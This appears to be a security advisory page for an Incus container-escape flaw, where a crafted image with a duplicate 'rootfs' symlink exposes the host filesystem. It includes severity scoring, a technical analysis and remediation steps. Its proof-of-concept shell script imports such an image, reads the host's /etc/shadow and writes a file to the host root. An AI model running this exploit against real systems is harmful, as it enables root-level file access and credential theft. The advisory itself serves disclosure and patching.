Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Daemon API is network-reachable (AV:N) and the attack is reliable (AC:L) but needs an account able to import images/create instances (PR:L); container-to-host escape is a scope change (S:C) with full host C/I/A impact.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
Lifecycle Timeline
3DescriptionCVE.org
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
AnalysisAI
Container-to-host filesystem escape in Incus before 7.2.0 lets a user who can import images and create instances read and write arbitrary files on the host as root. A malicious image carrying a duplicate top-level 'rootfs' symlink (rootfs -> /) passes image validation, and the stopped-container file API later chroots into that symlinked path via forkfile, exposing the host root filesystem through 'incus file pull/push'. A working proof-of-concept is published in the GitHub Security Advisory (GHSA-2q3f-q5pq-g8wv); publicly available exploit code exists, but there is no public exploit identified beyond the PoC and the CVE is not in CISA KEV.
Technical ContextAI
Incus is a system container and virtual machine manager (a community fork of LXD) written in Go; the affected code lives in the incusd daemon (pkg:go/github.com/lxc/incus/v7/cmd/incusd). The flaw is a path/symlink handling weakness classed as CWE-73 (External Control of File Name or Path). Incus considers an image valid as soon as it observes a standard 'metadata.yaml' plus a 'rootfs/' directory entry, but full tar extraction subsequently processes a second, duplicate top-level 'rootfs' entry that is a symlink to an attacker-chosen path (e.g. '/'). When the stopped-container file API opens d.RootfsPath() and hands that file descriptor to the forkfile helper, forkfile chroots into the symlink target, so file operations intended for the container's rootfs instead operate on the host filesystem with root privileges.
RemediationAI
Vendor-released patch: 7.2.0 - upgrade Incus to 7.2.0 or later, which corrects the image validation/extraction so a duplicate top-level 'rootfs' symlink is no longer trusted; see the advisory at https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv. Until you can upgrade, restrict who can import images and create instances: only allow image imports from trusted sources and avoid importing untrusted/third-party image tarballs (the attack requires a crafted image), and tighten Incus project/RBAC permissions so untrusted or low-trust accounts cannot run 'incus image import' or 'incus init' (trade-off: this reduces self-service capability for legitimate users). Where feasible, avoid using 'incus file pull/push' against instances built from untrusted images, since that API path is what triggers the chroot into the symlink. These are compensating controls only; none fully closes the symlink-handling flaw, so patching to 7.2.0 is the real fix.
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Code Injection
View allVendor StatusVendor
SUSE
Severity: CriticalShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63976
GHSA-2q3f-q5pq-g8wv